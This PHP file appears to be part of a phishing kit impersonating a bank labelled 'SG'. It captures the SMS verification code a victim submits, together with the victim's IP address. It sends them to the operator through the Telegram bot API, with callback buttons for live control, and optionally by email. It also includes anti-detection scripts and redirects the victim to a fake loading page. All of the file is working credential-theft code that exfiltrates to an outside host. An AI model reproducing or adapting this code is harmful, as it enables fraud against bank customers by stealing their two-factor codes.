<?php
session_start();
include('../prevents/anti1.php');
include('../prevents/anti2.php');
include('../prevents/anti3.php');
include('../prevents/anti4.php');
include('../prevents/anti5.php');
include('../prevents/anti6.php');
include('../prevents/anti7.php');
include('../prevents/anti8.php');
if($_SESSION['authorized'] == "1")
{
include '../sendParams.php';

$date = date('d/m/y h:i:s');
$ip = getenv("REMOTE_ADDR");
$browser = getenv ("HTTP_USER_AGENT");
$message = "";
$message .= "-------------------| INFOZ -- SMS -- SG |-------------------\n";
$message .= "SMS : " . $_POST['sms'] ."\n";
$message .= "------------------+ SMS +------------------------\n";
$message .= "IP                            : $ip\n";
$subject = "SMS 2022| $ip | $date";
$headers = "From: SG <infoz@mox.fr>";


function telegram_send($message, $api_key, $chat_id) {
        $user_id = $_SESSION['user_id'];
        $curl = curl_init();
        $format = 'MarkDown';
        $callback_data = sendParams($user_id);
        $reply_markup = urlencode('{"inline_keyboard": ' . $callback_data . '}');
        curl_setopt($curl, CURLOPT_URL, 'https://api.telegram.org/bot'. $api_key .'/sendMessage?chat_id='. $chat_id .'&text='. $message .'&parse_mode=' . $format . '&reply_markup=' . $reply_markup);
        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); 
        $result = curl_exec($curl);
        curl_close($curl);
        return true;
    }


    function supprimer_utilisateur($id_utilisateur) {
        global $fichier;
        $contenu = file_get_contents($fichier);
        $pattern = '/^' . preg_quote($id_utilisateur, '/') . ':(.*)$/m';
        if (preg_match($pattern, $contenu, $matches)) {
            $contenu = str_replace($matches[0], '', $contenu);
            $contenu = preg_replace('/^\s*[\r\n]/m', '', $contenu);
            file_put_contents($fichier, $contenu);
            return true;
        } else {
            return false;
        }
    }


    $fichier = '../fichier_utilisateurs.txt';


    if (!file_exists($fichier)) {
        $nouveauContenu = "";
        file_put_contents($fichier, $nouveauContenu);
    }

    supprimer_utilisateur($_SESSION['user_id']);


    $ch = curl_init();
    $folder_parent = dirname(dirname($_SERVER['SCRIPT_NAME'])); 
    $url = "https://api.telegram.org/bot" . $api_key . "/setWebhook?url=https://" . $_SERVER['SERVER_NAME'] . $folder_parent . "/check_tlg.php";
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $result = curl_exec($ch);
    if (curl_errno($ch)) {
        echo 'Error:' . curl_error($ch);
    }
    curl_close($ch);


if($rezParTelegram)
    telegram_send(urlencode($message), $api_key, $chat_id);
if($rezParMail)
    mail($send,$subject,$message,$headers);



header("Location: ../loading.php");
}
else{
    die('YOU ARE NOT AUTHORIZED');
}
?>